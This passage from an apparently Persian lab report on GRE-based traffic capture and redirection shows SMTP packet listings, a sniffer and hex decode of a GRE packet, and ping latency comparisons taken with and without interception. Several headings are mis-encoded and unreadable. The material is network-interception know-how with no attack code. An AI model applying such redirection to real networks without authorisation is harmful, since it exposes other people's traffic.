 11   0.00142  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=153, ID=800 
 12   0.00063  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 220 localhost.locald 
 13   0.13864  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 
 14   0.00185  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=827 
 15   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=801 
  
 82   2.18601  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 q 
 83   0.00211  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=850 
 84   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=824 
 85   0.03858  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=851 
 86   0.00131  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=825 
 87   0.00051  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 
 88   0.18110  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 u 
 89   0.00186  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=852 
 90   0.00136  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=826 
 91   0.00271  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=853 
 92   0.00130  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=827 
 93   0.00059  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 
 94   0.05429  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 i 
 95   0.00191  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=854 
 96   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=828 
 97   0.00269  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=855 
 98   0.00131  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=829 
 99   0.00051  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 
100   0.16402  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 t 
101   0.00207  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=856 
102   0.00139  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=830 
103   0.00270  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=857 
104   0.00133  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=831 
105   0.00052  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 
106   0.22869  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 
107   0.00197  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=66, ID=858 
108   0.00137  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=66, ID=832 
109   0.00304  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=859 
110   0.00130  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=833 
111   0.00012  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=116, ID=860 
112   0.00055  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 
113   0.00093  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=116, ID=834 
114   0.00058  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 221 2.0.0 localhost. 
115   0.00067  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=861 
116   0.00133  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=835 
117   0.00049  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 
118   0.00025  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 
119   0.00044  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 
120   0.00172  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=862 
121   0.00133  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=836 
122   0.00007  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=863 
123   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=837 
124   0.00255  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=864 
125   0.00130  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=838 
126   0.00054  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 

 



 
 : در زیر قابل مشاىده استGREیک دیکٌد جاسٌسی از یک پکت 

 
ETHER:  ----- Ether Header ----- 
ETHER: 
ETHER:  Packet 2 arrived at 12:38:37.06 
ETHER:  Packet size = 86 bytes 
ETHER:  Destination = 0:d0:ba:fe:30:e1, 
ETHER:  Source      = 0:e0:1e:7e:a0:c2, 
ETHER:  Ethertype = 0800 (IP) 
ETHER: 
IP:   ----- IP Header ----- 
IP: 
IP:   Version = 4 
IP:   Header length = 20 bytes 
IP:   Type of service = 0x00 
IP:         xxx. .... = 0 (precedence) 
IP:         ...0 .... = normal delay 
IP:         .... 0... = normal throughput 
IP:         .... .0.. = normal reliability 
IP:   Total length = 72 bytes 
IP:   Identification = 823 
IP:   Flags = 0x0 
IP:         .0.. .... = may fragment 
IP:         ..0. .... = last fragment 
IP:   Fragment offset = 0 bytes 
IP:   Time to live = 255 seconds/hops 
IP:   Protocol = 47 () 
IP:   Header checksum = 34fc 
IP:   Source address = 192.168.1.1, 192.168.1.1 
IP:   Destination address = 192.168.1.2, 192.168.1.2 
IP:   No options 
IP: 
 

 : دس صیش ًؾبى دادٍ ؽذٍ اعتGRE  اص ُوبى پکت Hex Decodeیک 
 
0000000 736e 6f6f 7000 0000 0000 0002 0000 0004 
0000020 0000 0056 0000 0056 0000 0070 0000 0000 
0000040 3d2d 0bcd 0001 110b 00d0 bafe 30e1 00e0 
0000060 1e7e a0c2 0800 4500 0048 0337 0000 ff2f 
0000100 34fc c0a8 0101 c0a8 0102 0000 0800 4500 
0000120 0030 3380 4000 7f06 43f2 c0a8 0103 c0a8 
0000140 0202 0651 0019 99d0 26a4 0000 0000 7002 
0000160 4000 f86a 0000 0204 0534 0101 0402 0000 

 

 
 

 



 

  :2ؽذٍ اص عٌبسیْ  Captureتشافیک  : 5پیْعت 
 

  1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 
  2   0.00014  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 
  3   0.00585  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 
  4   0.00011  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 
  5   0.00579  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 
  6   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 
  7  40.09285  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 220 localhost.locald 
  8   0.00016  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 220 localhost.locald 
  9   0.16606  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 
 10   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 
 
 59   1.62586  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 q 
 60   0.00012  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 q 
 61   0.04199  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 
 62   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 
 63   0.14919  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 u 
 64   0.00012  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 u 
 65   0.00574  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 
 66   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 
 67   0.08556  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 i 
 68   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 i 
 69   0.00570  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 
 70   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 
 71   0.12386  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 t 
 72   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 t 
 73   0.00577  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 
 74   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 
 75   0.80846  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 
 76   0.00011  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 
 77   0.00613  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 
 78   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 
 79   0.00216  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 221 2.0.0 localhost. 
 80   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 221 2.0.0 localhost. 
 81   0.00220  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 
 82   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 
 83   0.00670  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 
 84   0.00008  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 
 85   0.00169  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 
 86   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 
 87   0.00645  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 
 88   0.00008  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 

 

 :تست تاخیر  

 در آزمایشگاه جيت تست تاخیر از سمت کلاینت بو ICMP Ping.  اضافی ترافیک شبکو بررسی گردید Handleتاخیر با 

 :سمت اینترنت انجام شد

 : اطلاعات Redirection ً Captureنتایج بدًن انجام عملیات 

C:\>ping 192.168.2.2 



 
Pinging 192.168.2.2 with 32 bytes of data: 
 
Reply from 192.168.2.2: bytes=32 time=10ms TTL=254 
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254 
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254 
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254 
 
Ping statistics for 192.168.2.2: 
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
Approximate round trip times in milli-seconds: 
    Minimum = 0ms, Maximum =  10ms, Average =  2ms 
 
C:\>ping -l 1000 192.168.2.2 
 
Pinging 192.168.2.2 with 1000 bytes of data: 
 
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254 
 
Ping statistics for 192.168.2.2: 
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
Approximate round trip times in milli-seconds: 
    Minimum = 0ms, Maximum =  0ms, Average =  0ms 
 
C:\> 

 

 : اطلاعات Redirection ً Captureنتایج ىمراه با انجام عملیات 

C:\>ping 192.168.2.2 
 
Pinging 192.168.2.2 with 32 bytes of data: 
 
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250 
 
Ping statistics for 192.168.2.2: 
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
Approximate round trip times in milli-seconds: 
    Minimum = 10ms, Maximum =  10ms, Average =  10ms 
 
C:\>ping -l 1000 192.168.2.2 
 
Pinging 192.168.2.2 with 1000 bytes of data: 
 
Reply from 192.168.2.2: bytes=1000 time=31ms TTL=250 
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250 



Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250 
Reply from 192.168.2.2: bytes=1000 time=20ms TTL=250 
 
Ping statistics for 192.168.2.2: 
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
Approximate round trip times in milli-seconds: 
    Minimum = 20ms, Maximum =  31ms, Average =  22ms 
 
C:\> 
 

 


